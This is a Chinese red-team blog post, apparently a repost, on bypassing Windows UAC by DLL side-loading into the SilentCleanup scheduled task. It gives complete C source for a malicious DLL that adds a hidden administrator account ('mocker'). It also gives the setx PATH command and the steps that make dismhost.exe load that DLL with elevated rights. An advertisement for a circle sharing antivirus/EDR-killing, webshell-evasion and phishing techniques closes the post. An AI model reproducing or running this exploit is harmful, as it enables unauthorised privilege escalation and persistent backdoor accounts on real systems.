【红队思路】DLL侧加载UAC提权

admin 2026-01-09 23:19:08 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章演示利用Windows计划任务SilentCleanup的DLL侧加载实现UAC提权:通过编译恶意DLL并置于优先搜索路径,触发dismhost.exe加载,从而以高权限添加管理员账户,给出完整代码、环境变量设置与执行步骤,并附红队圈子广告 综合评分: 78 文章分类: 红队,漏洞POC,内网渗透,免杀,实战经验


cover_image

【红队思路】DLL侧加载UAC提权

原创

Hello888

安全天书

2026年1月9日 15:49 广西

0x01 声明

本文所涉及的技术、思路和工具仅用于安全测试和防御研究,切勿将其用于非法入侵或攻击他人系统等目的,一切后果由使用者自行承担!!!

0x02 UAC介绍

著名的计划任务SilentCleanup它运行cleanmgr.exe/dismhost.exe。多年来,这个计划任务一次又一次地被滥用,它至今仍然是UAC绕过/权限提升的可靠载体。

运行这个计划任务,我们会看到dismhost.exe希望通过 DLL 侧加载:api-ms-win-core-kernel32-legacy-l1.dll

0x03 UAC使用

DLL编译

#include"pch.h"#include<windows.h>#pragma&nbsp;comment (lib,&nbsp;"user32.lib")DWORD WINAPI&nbsp;MyThread(LPVOID lpParam){&nbsp; &nbsp;&nbsp;WinExec("cmd.exe /c net user mocker M0ck3d2024 /add && net localgroup administrators mocker /add",&nbsp;0);&nbsp; &nbsp;&nbsp;WinExec("cmd.exe /c echo hey > c:\\heythere.txt",&nbsp;0);&nbsp; &nbsp;&nbsp;return&nbsp;0;}DWORD WINAPI&nbsp;WorkItem(LPVOID lpParam){&nbsp; &nbsp;&nbsp;MyThread(NULL);&nbsp; &nbsp;&nbsp;return&nbsp;0;}BOOL WINAPI&nbsp;DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){&nbsp; &nbsp;&nbsp;switch&nbsp;(fdwReason)&nbsp; &nbsp; {&nbsp; &nbsp;&nbsp;case&nbsp;DLL_PROCESS_ATTACH:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;DisableThreadLibraryCalls(hinstDLL);&nbsp;// Avoid unnecessary notifications&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Use QueueUserWorkItem to safely execute code after the DLL has been loaded&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;QueueUserWorkItem(WorkItem,&nbsp;NULL, WT_EXECUTEDEFAULT);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Optionally execute additional code here, e.g., WinExec command&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// WinExec("cmd.exe /c net user mocker M0ck3d2024 /add && net localgroup administrators mocker /add", 0);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp;&nbsp;case&nbsp;DLL_THREAD_ATTACH:&nbsp; &nbsp;&nbsp;case&nbsp;DLL_THREAD_DETACH:&nbsp; &nbsp;&nbsp;case&nbsp;DLL_PROCESS_DETACH:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;}

设置环境变量

setx&nbsp;PATH&nbsp;"c:\myfolder;%PATH%"

然后把api-ms-win-core-kernel32-legacy-l1.dll放到myfolder目录下

执行效果

去执行SilentCleanup计划任务成功会添加mocker用户,其他利用方式修改DLL即可!

**0x04 红蓝偶像练习生小圈子

圈子主要研究方向渗透测试、红蓝对抗、钓鱼手法思路、武器化作,红队工具二开与免杀。圈内不定期分享红队技术文章,攻防经验总结,学习笔记以及自研工具与插件,目前圈子已满300人,欢迎各位进圈子交流学习!

**圈子目前更新相关技术文章:

* HeavenlyBypassAV内部版-轻松免杀各大杀软

  • 冰蝎webshell免杀工具

  • 哥斯拉webshell免杀工具

  • 红队场景下lnk钓鱼Bypass国内AV

  • 1日和0日POC

  • lnk钓鱼思路视频讲解

  • lnk钓鱼Bypass天擎

  • msi钓鱼

  • chm钓鱼

  • Kill360核晶

  • AV对抗-致盲AV(核晶)

  • 捆绑免杀360

  • 杀火绒

  • 火绒6.0内存免杀

  • kill-windows Defender

  • Defender分离免杀

  • Defender知识点

  • HeavenlyProtectionCS内部CS插件

  • EDR对抗思路

  • 进程注入知识点

  • 自启动思路

  • 多种维权手法

  • Fscan免杀核晶

  • QVM解决思路

  • 红队思路-钓鱼环境下小窗口截屏窃取

  • 免杀Todesk/向日葵读取工具

  • 渗透测试文章思路

  • 内网对抗文章思路

  • 还有更多红队思路文章!期待您的加入!!!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全天书 Hello888《【红队思路】DLL侧加载UAC提权》

评论:0   参与:  0